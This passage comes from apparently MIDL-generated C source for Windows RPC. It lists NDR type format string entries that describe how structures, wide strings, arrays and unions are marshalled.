*/\n/* 3682 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3692 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3694) */\n/* 3694 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3696 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 3698 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3702 */\tNdrFcShort( 0x64 ),\t/* Offset= 100 (3802) */\n/* 3704 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3708 */\tNdrFcShort( 0xd8 ),\t/* Offset= 216 (3924) */\n/* 3710 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3714 */\tNdrFcShort( 0x14c ),\t/* Offset= 332 (4046) */\n/* 3716 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3720 */\tNdrFcShort( 0x194 ),\t/* Offset= 404 (4124) */\n/* 3722 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3721) */\n/* 3724 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3726 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 3728 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3730 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (3740) */\n/* 3732 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3734 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3736 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3738 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3740 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3742 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3744 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3746 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3748 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3750 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3752 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3754 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3756 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3758 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3760 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3764 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3766 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3768 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3770 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3772 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3776 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 3780 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3784 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3786 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3788 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3796 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3798 */\tNdrFcShort( 0xffb6 ),\t/* Offset= -74 (3724) */\n/* 3800 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3802 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3804 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3806 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3808 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3814) */\n/* 3810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3812 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3814 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3816 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3760) */\n/* 3818 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3820 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 3822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3824 */\tNdrFcShort( 0x1e ),\t/* Offset= 30 (3854) */\n/* 3826 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3828 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3830 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3832 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3834 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3836 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3838 */\tNdrFcShort( 0xf10e ),\t/* Offset= -3826 (12) */\n/* 3840 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3842 */\tNdrFcShort( 0xf10a ),\t/* Offset= -3830 (12) */\n/* 3844 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3846 */\tNdrFcShort( 0xf106 ),\t/* Offset= -3834 (12) */\n/* 3848 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3850 */\tNdrFcShort( 0xf102 ),\t/* Offset= -3838 (12) */\n/* 3852 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3854 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3856 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3858 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3860 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3862 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3864 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3866 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3868 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3870 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3872 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3874 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3876 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3878 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3880 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3882 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3884 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3886 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3890 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3892 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3894 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3898 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 3902 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3906 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3908 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3910 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3914 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3918 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3920 */\tNdrFcShort( 0xff9a ),\t/* Offset= -102 (3818) */\n/* 3922 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3924 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3926 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3928 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3930 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3936) */\n/* 3932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3934 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3936 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3938 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3882) */\n/* 3940 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3942 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 3944 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3946 */\tNdrFcShort( 0x1e ),\t/* Offset= 30 (3976) */\n/* 3948 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3950 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3952 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3954 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3956 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3958 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3960 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf093 ),\t/* Offset= -3949 (12) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3964 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf08f ),\t/* Offset= -3953 (12) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3968 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf08b ),\t/* Offset= -3957 (12) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3972 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf087 ),\t/* Offset= -3961 (12) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3976 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3978 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3980 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3982 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3984 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3986 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3988 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3990 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3992 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3994 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3996 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3998 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4000 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 4002 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4004 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 4006 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4008 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4010 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4012 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 4014 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 4016 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4020 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 4024 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 4028 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 4030 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4032 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4036 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4040 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4042 */\tNdrFcShort( 0xff9a ),\t/* Offset= -102 (3940) */\n/* 4044 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4046 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4048 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4050 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4052 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (4058) */\n/* 4054 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4056 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4058 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 4060 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (4004) */\n/* 4062 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4064 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 4066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4068 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (4078) */\n/* 4070 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4072 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4074 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4076 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4078 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 4080 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4082 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 4084 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4086 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4088 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4090 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 4092 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 4094 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4098 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 4102 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 4106 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 4108 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4110 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4114 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4118 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4120 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (4062) */\n/* 4122 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4124 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4126 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4130 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (4136) */\n/* 4132 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4134 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4136 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 4138 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (4082) */\n/* 4140 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 4142 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4144) */\n/* 4144 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4146 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4148 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 4150 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4152 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4154 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4158 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4162 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4164) */\n/* 4164 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 4166 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 4168 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 4172 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (4188) */\n/* 4174 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 4178 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (4224) */\n/* 4180 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 4184 */\tNdrFcShort( 0x36 ),\t/* Offset= 54 (4238) */\n/* 4186 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (4185) */\n/* 4188 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4190 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 4192 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4194 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (4202) */\n/* 4196 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4198 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf3ed ),\t/* Offset= -3091 (1108) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4202 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 4204 */\tNdrFcShort( 0xf036 ),\t/* Offset= -4042 (162) */\n/* 4206 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4208 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 4210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4212 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (4220) */\n/* 4214 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4216 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf3eb ),\t/* Offset= -3093 (1124) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4220 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4222 */\tNdrFcShort( 0xfff0 ),\t/* Offset= -16 (4206) */\n/* 4224 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4226 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 4228 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4230 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (4230) */\n/* 4232 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4234 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (4206) */\n/* 4236 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4238 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4240 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 4242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4244 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (4252) */\n/* 4246 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4248 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (4206) */\n/* 4250 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4252 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4254 */\tNdrFcShort( 0xf9f8 ),\t/* Offset= -1544 (2710) */\n/* 4256 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 4258 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4260) */\n/* 4260 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4262 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 4264 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 4266 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4268 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4270 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4274 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4278 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4280) */\n/* 4280 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4282 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 4284 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 4288 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (4304) */\n/* 4290 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 4294 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (4384) */\n/* 4296 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 4300 */\tNdrFcShort( 0x1f2 ),\t/* Offset= 498 (4798) */\n/* 4302 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (4301) */\n/* 4304 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4306 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4310 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (4310) */\n/* 4312 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4314 */\tNdrFcShort( 0xef32 ),\t/* Offset= -4302 (12) */\n/* 4316 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4318 */\tNdrFcShort( 0xefa4 ),\t/* Offset= -4188 (130) */\n/* 4320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4324 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x3e,\t\t/* FC_STRUCTPAD2 */\n/* 4326 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4328 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4330 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4332 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4334 */\tNdrFcShort( 0xef1e ),\t/* Offset= -4322 (12) */\n/* 4336 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4338 */\tNdrFcShort( 0xef90 ),\t/* Offset= -4208 (130) */\n/* 4340 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4342 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 4344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4346 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4348 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 4350 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 4352 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 4354 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4358 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 4362 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 4366 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 4368 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4370 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4374 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4378 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4380 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (4328) */\n/* 4382 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4384 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4386 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 4388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4390 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (4402) */\n/* 4392 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4394 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4398 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4400 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4402 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4404 */\tNdrFcShort( 0xef6e ),\t/* Offset= -4242 (162) */\n/* 4406 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 4408 */\tNdrFcShort( 